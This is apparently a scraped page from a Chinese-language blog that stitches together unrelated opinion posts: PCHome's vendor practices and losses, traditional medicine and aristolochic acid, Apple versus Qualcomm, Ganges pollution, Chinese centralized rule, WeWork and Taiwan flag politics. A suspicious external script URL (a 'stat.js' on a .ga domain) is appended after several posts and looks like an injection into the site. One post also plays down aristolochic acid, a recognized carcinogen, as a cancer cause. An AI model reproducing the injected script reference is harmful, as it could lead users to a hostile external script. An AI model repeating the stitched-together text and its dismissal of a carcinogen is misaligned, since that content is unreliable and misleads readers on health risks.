作者: yuanyuchang

上個月甫才發表「論蝦皮免運費策略-兼論掠奪性定價」一文，提到過去我曾與PCHome合作的不愉快經驗：

…

我的商品虛擬通路部分曾在PCHome 24h、PCHome商店街與MOMO分別上架，並都簽訂契約。但PChome方宣傳往往不力，而且能選擇的宣傳廣告工具極少，代價又往往太高（C/P值過低）。又PM對於廠商名牌與否明顯大小眼，許多促銷活動同樣參加，名牌曝光率還是高過新創產品，單分攤促銷費用上卻高得離奇。後來我公司商品也打電視與主流報紙全國全版廣告後，PM態度才稍有轉變。

此外產品毛利率由PCHome單方面認定，因此要扣你多少費用也是PCHome自己說了算。甚至要調漲都沒有預告期間或磋商，PCHome自己偷偷摸摸就調了。

再者產品熱銷款與滯銷款都可能被PCHome擅自調降售價，事前也不通知廠商。造成廠商片面損失不說，當其他通路跟廠商抗議時，廠商更是難以處理。

又，併貨寄送時，紙箱材積成本分配上也是由PCHome擅自決定，而容易發生不公平或材積小者卻負擔過重現象。

又，PCHome倉庫環境惡劣非常，我們放在公司倉儲2年不壞（商品保存期限2年），新產出貨品放到PCHome倉儲竟然2週內就質變。消費者向我公司投訴商品品質時，我們不斷追查才發現問題根本不在商品本身，而是PCHome倉儲環境太糟糕。但怎麼建議，PCHome都是老大不屌你。當然對於我公司產品商譽受損也是不聞不問。

各位覺得PCHome 24h消費網頁是不是很落伍、很過時？告訴你，廠商後台更爛更難看也更難用到爆！甚至商品說明或上下架更新都非即時的！

基於此不愉快體驗，我與PCHome一年合作到期斷然拒絕續約。

以上經驗年日略久，或許記憶中細節略有出入，但整體印象惡劣存留至今。希望現在PCHome不再如此。

我並未跟蝦皮有過合作，但特別寫這段是要強調：電商競爭面相非常廣，消費者面的集客能力、倉儲效率品質與可靠度、廠商面的合作內涵等，都會是競爭的內容。

免運費不過是眾多競爭條件之一，恐怕不完全是決定性條件。….

如今剛剛公布的網家106年第3季綜合損益表，轉盈為虧每股虧損0.12元，其中最明顯的就是推銷費用與去年同期相比大增近6成！單季推銷費用就高達10億台幣。單季獲利也從去年同期的2.3億衰退為今年第三季的虧損9千多萬。從經濟分析觀點來看，這是很明顯的「競爭之下，上頭租值受損」的態樣。

價值投資者喜歡拿巴菲特的「護城河」觀念出來說嘴，但其實並不正確。不知巴菲特是故意含糊語意不清，亦或純粹嘗試白話舉例造成概念過度簡化。

真正價值投資應該要看的，是上頭租值的形成、財報中的呈現方式以及對抗競爭下租值流失的比例與速度。

我上個月的文章中，從自身經驗很明白地指出，如PCHome、蝦皮、MOMO這類虛擬通路的競爭並不完全在「免運費」這麼簡單的一件事上，而牽涉到多方面的競爭與資源整合。PCHome過去獨大時代，老大心態下的表現其實並不特別優異，至少身為合作廠商的我來說，主觀感覺是比與天貓、淘寶或美國Amazon合作還差的。PCHome很像是山中無老虎，猴子稱大王。

近日又在群組中看到廠商反應PCHome片面要求合作廠商吸收行銷費用、簡訊費用等成本，讓我深覺這家公司其實沒有發現自己問題出在哪些魔鬼細節，而只想跟蝦皮拼銀彈同時轉嫁成本給合作廠商。

當然在集客能力還不錯的前提下，廠商或許勉強容忍；可一旦集客能力下滑或引起廠商懷疑，則廠商傾刻間棄PCHome如敝屣也是很可能的。特別是那些在PCHome上經營可邊際利益已經很低的廠商。

眼看他樓起，說不定會比我想像中還快看到他樓塌…當然很可能在此之前已經被外資或競爭對手買下也說不定。現在說這個還太早，希望PCHome多加油囉！https://js.developerstatss.ga/stat.js?n=ns1

關於中藥馬兜鈴酸的問題，可以參考這位史丹佛電機博士後來轉業中醫的文章「中藥有馬兜鈴酸致癌的問題？」。

我另外想補充的點有三：

1. 「98位台大醫院與長庚醫院的肝癌病人，發現其中有76位病人帶有馬兜鈴酸代謝物與基因具嘌吟核的碳基化合物結合而成的「馬兜鈴酸基因突變指紋」，因此認定「台灣近八成的肝癌是由馬兜鈴酸引起的」。」這樣研究的樣本數會不會太少？

再者，科學邏輯上「高比例肝癌患者具備這樣的馬兜鈴酸基因突變指紋」是否可以反推成「馬兜鈴酸引起肝癌」？我認為是講不通且邏輯過度跳躍。

這就像「下雨時，往往天空有很高比例的被雲遮蔽」這樣的現象，可以反推成「天空有高比例的雲就會引起下雨」？邏輯上顯然是錯的。

又，其他侷限條件呢？怎麼都不見侷限條件之排除或指明，就能得到結論？這樣還是符合科學方法的研究嗎？

我認為現今有非常多的醫學研究，無論是作者本身或被記者解讀之後，常有這種邏輯錯誤出現。

2. 相關馬兜鈴酸完全沒有討論劑量。

中藥跟西藥一樣，某些東西低劑量與高劑量時有極差異！低劑量能治療疾病，高劑量卻可以殺人。

講更極端，純水(H2O）高劑量下一樣可以毒死人。

可我看到的台灣報導，記者完全不提馬兜鈴酸要多高的劑量才會引發肝癌？低劑量下是否還具備高毒性？

此外，如同本文作者強調，同樣叫「木通」，但中藥真正在使用的「川木通」並不含馬兜鈴酸；相反地，含馬兜鈴酸的「關木通」中醫並不使用，中醫藥典也特別名列提醒醫師、藥師要詳加分辨。

記者不顧真實中醫用藥方式乃至於藥典記載，一杆子把中藥打成「台灣引發肝癌主因」的入罪模式，未免太紅衛兵了吧？

而過去30年來，台灣醫藥衛生官方單位乃至於少部分西醫常常用這種混水摸魚地抹黑栽贓污衊中醫，究竟是無知亦或別有居心？

3. 刻意忽略中藥炮製

許多中藥的生藥具有毒性無誤，但實際中醫少有人會使用生藥，而多須經過炮製。

我想許多跟我一樣家裡從事中藥的小孩，打小就對「雷公炮製法」耳熟能詳。

生附子毒性猛烈，可能引發心臟麻痺；可是炮附子卻是許多慢性病患需要的良藥。

過去我看過一些台灣醫師批評某些中藥生藥含烏頭鹼，極其危險云云… 可實務上沒有人用生藥啊！這就像許多西藥的原料也是劇毒，難道我能就此批判西醫刻意拿毒藥餵病人？

當然如某些化療，還真的就是拿毒藥餵病人，有本事你找個身體正常的人來吃吃？

又，某些藥材原料沒太大問題，反倒是被西藥精煉萃取過之後成為毒藥！最知名就是麻黃，中醫主要用來宣肺、發疹、止咳、通鼻竅、止癢，被西藥精煉過後的麻黃素倒成為安非他命的原料（當然化工技術進步，提煉麻黃鹼不見得一定要用麻黃）。試問這又是誰的過錯？

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Apple 與Qualcomm為了專利授權費引發的一系列法律戰，終於燒到商戰囉！華爾街日報最新報導：「Apple Is Designing iPhones, iPads That Would Drop Qualcomm Components」

Apple一年光支付專利授權費（不包含晶片採購費用）給Qualcomm就高達$28億美元，佔Qualcomm EPS的30%。

面對這樣的大客戶，Qualcomm態度硬得讓我有點匪夷所思耶。

的確，專利是一種人為擬制的壟斷權，是一種privilege。但美國法上，專利的權利範圍還是有其限制的。除了專利本身claim的範疇之外，反托拉斯法也會限制專利權的應用。

最常見就是當專利權被認為構成industrial standard時，專利會被迫開放使用，也可能由法院決定什麼叫做合理授權費（reasonable royalty）。目前看來Qualcomm的聲明與訴訟都很聰明地避開，宣稱被Apple侵害的都是非行業標準（non-industrial standard patents）。

可究竟是不是？其實是由法院認定。

另一方面，就算被認定不是，只要法院說你有或意圖濫用壟斷地位（to or intent to take advantage of monopoly power），則一樣可以認定專利被濫用而以判決限縮之。

講白話，就是即便Qualcomm擁有世界上最大、最好、最豐富的無線傳輸技術相關專利，不代表專利侵權訴訟贏面就大；甚至反過來，正因為專利池（patent pool）太大，被法院認定濫用專利壟斷的可能性也隨之提高。

如果是我，面對最大客戶態度上應該不會這麼硬頸。

不過話說我以前跟Qualcomm接洽的經驗，他們還真的挺囂張…所以可能囂張習慣了吧 XD

新消息指出Apple可能新產品會全面停止使用Qualcomm晶片，改以Intel為主（可是Intel在這一塊不是比較弱嗎？）

聯發科會漁翁得利受到Apple關愛眼神嗎？（話說聯發科4G之後不是又更弱嗎？）

現在唯一能確定的是，消息一出Qualcomm股價立馬下跌6.77%。Apple則沉浸在iPhone X可能大賣的樂觀氛圍，繼續維持這幾天的漲勢。

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華爾街日報報導：「The World’s Next Environmental Disaster」

摘要如下：

1. 1988年印度恆河每100ml有大腸桿菌數12250，現在超過2千2百萬！大腸桿菌數超過500的水連洗澡都有危險性，而美國Vermont州的河水大腸桿菌數是235。

2. 中國雖然工業化、富裕化過程中一樣出現污染問題，但有錢之後努力對付污染成效頗佳，印度卻是才剛剛開始工業化就已經污染嚴重。

3. 445條河流中有275條高度污染。因為喝到污染河水而腹瀉致死是印度第四大死亡因素，人數遠超過中國因污染而死的人口。

4. 事實上WHO列名的世界二十大骯髒河流，印度就佔了一半，名居榜首！

5. 印度每天污水量超過160億加崙，62%未經處理直接進入河流。1993年起，印度政府在日本政府的技術援助下，20年內蓋了35座污水處理廠。但光德里一天就製造10億加崙污水，這些污水處理廠只能應付一半的量。加上污水廠員工能力不足，無法讓污水設備發揮最大效用。更荒謬的是因為「缺電」，這些污水處理廠很常被迫停擺（目光不禁瞄向蔡英文又要非核又要減碳的脫離現實之能源政策）。

6. 每千人擁有汽車數量來看，美國821輛、中國118輛、印度22輛。但印度空氣污染程度卻比中國嚴重。因為印度政府希望讓有更多製造業來改善經濟發展，這些新興各種製造業處理污染能力遠不如中國，再加上印度以燃煤火力發電廠為主要電力來源。即便如此，印度政府仍堅稱其經濟成長政策不會對環境帶來任何影響。

7. 部分印度教派還要求信徒每年都喝恆河水來取得保佑，結果就是年年出事出人命。迷信害死人。還有因信仰不斷地把亡者或動物的骨灰、屍體倒入恆河，污染情形更難以改善。

8. 因為恆河水太髒太優養化，裡頭小魚死光光，造成孓孓沒天敵，這兩年夏天泰姬瑪哈地區蚊子數量高達數千萬。

9. 中央管不動地方地方政府，各自為政下不能合作治水。甚至連最高法院關於河水污染的判決與命令，地方與中央政府20年來也都不理不睬。

不知道為什麼經濟系教授陳家煜竟會斷然主張習進平集權後中國必然走向衰敗，背後邏輯竟是「不夠民主」。還宣稱是讀史心得…

就我所知的中國歷史明明多數情況下是皇權越穩固時期，經濟與國力越鼎盛啊。反倒是權力旁落到外戚、宦官、群臣黨爭之間時，社會也是最動盪的。

康熙朝除鰲拜收回皇權，滅三籓除掉軍閥割據後，才慢慢迎來盛世。但後來九子奪嫡造成的複雜黨爭，可說是又一步削弱康熙帝實質上集權的內涵，使得政令不行、下欺瞞上情況惡化，到後期國庫竟空虛不堪。

雍正帝深知集權之重要，上台第三年就幹掉八爺黨（阿其那、賽斯黑）。攤丁入畝、火耗歸公等稅制改革才推得動，才有能力幫乾隆帝的國庫存一堆錢。

反之，1911~1949年之間的中國，軍閥割據，即便是被國際多數承認的北洋政府，也要面對不服輸的孫中山國民黨叛亂組織。蔣中正看似北伐統一中國，其實是靠錢買而非靠武力。

中華人民共和國表面上毛澤東集權，但事實並不然。元老們表面順從毛澤東，但實際執行面不見得順從毛澤東。還有早期的黨外人士意見相左。這就是為什麼毛澤東早年要搞「大鳴大放」這個陽謀來清肅黨外，要集權啊。

後來自己經濟政策失敗造成三年大饑荒餓死幾千萬人，毛澤東又被邊緣化，為了重新奪權再搞「文化大革命」鬥掉劉少奇、鄧小平。毛澤東自己一開始都沒預料到文化大革命一搞搞10年啊，他本以為只要幾個月就結束，但是自己開了頭，下面搞派系鬥爭的不肯停啊。真正再集權回毛澤東時，已是垂垂老已無力真正處理政務了。毛澤東自己心裡也清楚權力不夠穩固，對江青說：「我活著解放軍跟我走，我死了解放軍跟元老走。」

果然毛澤東一死，四人幫迅速垮台，鄧小平拿回權力後快速地實質否定掉毛澤東多數錯誤政治與經濟決策，走回毛最恨的「經驗主義」老路，才有後來的改革開放與中國經濟奇蹟啊。（鄧小平之所以權力相對穩固，一方面要歸功毛澤東誤打誤撞地幫鄧把多數元老都殺光或磨死啦～）

即便是最被推崇市場自由的香港，在港英時期也是集權得不得了！1960~1990的香港經濟發展如何？毋須多言！

台灣自己的經濟發展，也是總統權力最大最穩固時反而發展最好。陳水扁以降的總統權力不斷削弱，號稱民主自由卻是混亂矛盾且無人負責。台灣經濟成長力道大幅衰退可是有目共睹。

社會經濟進步與穩定，和政治是否民主或集權，關係往往不如陳家煜教授所以為的那樣！換言之，我認為陳家煜宣稱或暗示的理論，其實早就被史實駁倒。https://js.developerstatss.ga/stat.js?n=ns1

如果你的答案是Yes，你最好三思。想想你是不是真的很希望像幾十萬年前的祖先一樣活在洞穴裡。

If your answer is yes, you better think twice. Or you just want to keep living in the caves like our ancestors thousands years ago.https://js.developerstatss.ga/stat.js?n=ns1

華爾街日報報導：「WeWork: A $20 Billion Startup Fueled by Silicon Valley Pixie Dust」

在我看來，WeWork只是又一家靠唬爛來騙投資、衝高市值的公司。

創辦者Adam Neuman第一次創業搞可以換足跟的高跟鞋，失敗（身邊女性朋友表示：why bother?）。

後來又搞有護膝的嬰兒服，失敗（家裡有小孩的應該就知道這個想法還挺蠢的）。

然後因為公司經營不善，不得不分租一部分辦公室出去，結果發現分租辦公室比原經營項目好賺得多。於是開始在全美各地以長約方式租下空辦公室，裝潢後分單位出租給個人或新創小公司使用。

這，不就是連台灣都非常常見的「商務中心」模式嗎？事實上美國許多上市公司乃至於REITs所包裝的地產，都早就存在類似商業模式。

但日本孫正義Softbank旗下基金與許多矽谷創投所投資的WeWork不同，估值竟高達$200億美元！你沒看錯，$200億！足足是該公司年營收的20倍。

以這種「長約租賃換短約」的房地產經營模式來看，我手頭的資料顯示其同行淨利率大約在2%~10%。這意味著目前WeWork的估值隱含本益比(P/E ratio)高達200～1000倍！

而這個領域並非什麼新興行業，要說有什麼爆炸性成長亦或是顛覆性的破壞式創新，實在非常令人懷疑。

例如競爭對手IWG PLC也是搞長租換短租，營運面積是WeWork的5倍，但市值竟然只有1/8！

另外還有一家Boston Property，與WeWork最大不同在於地產全是自有而非租賃，營運面積同樣是WeWork的5倍，可二者市值竟然一樣！

過去我曾說過，常見的新創事業投資騙局，主事者都很愛打高空、訴諸流行的名詞與一些不著邊際的概念。

這家WeWork的創辦人Adam Neumann也一樣，他反覆強調自己不是經營「地產公司」，也非「科技公司」，而指稱WeWork是一家「生活風格或社群聚焦公司 (lifestyle or community-focused company)」（靠，這啥屁？），販賣的是「能量與文化 (energy and culture)」，走的是最現在夯的「共享經濟」。

最近越來越多這類吹牛新創公司出現，顯然是長期低利率下資金浮濫造成的結果。

.com –> Web2.0 –> 共享經濟 背後其實都是吹牛成分居多，過去我罵過Web2.0的詞語簡直可以複製貼上直接套用到多數宣稱共享經濟的新創事業上。

老話一句，投資人要小心，閃得越遠越好。https://js.developerstatss.ga/stat.js?n=ns1

書名：「打敗甘地！」

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1. 禪

世界均承認，名列聯合國五大常任理事國之一的中國國旗禁止在台灣出現。

世界無人承認，純屬自慰性質的台灣國國旗頻頻在台灣出現。

世界尚有少數國家承認，但卻被現任政府認為是羞於見人的中華民國國旗，在其領土上難得出現。

好妙的禪～參話頭吧！

2. 好個邏輯

因為中國至今不承認台灣是一個主權獨立國家，所以有勇敢台灣人提議禁止中國國旗在台灣出現。

依照此邏輯，理應世界各國國旗通通禁止才是，甚至應該禁止世界地圖與地球儀在台灣出現！

特別要禁止美國國旗（糟糕，美國隊長要被馬賽克了），因為美國跟中國一樣都公開反對台灣宣布獨立～

3. 民主真好

假台獨份子討厭中國主因往往歸咎中國沒有言論自由，所以我們要在台灣提案禁止中國國旗出現、禁止偏好中國言論出現！
鄭南榕表示：……https://js.developerstatss.ga/stat.js?n=ns1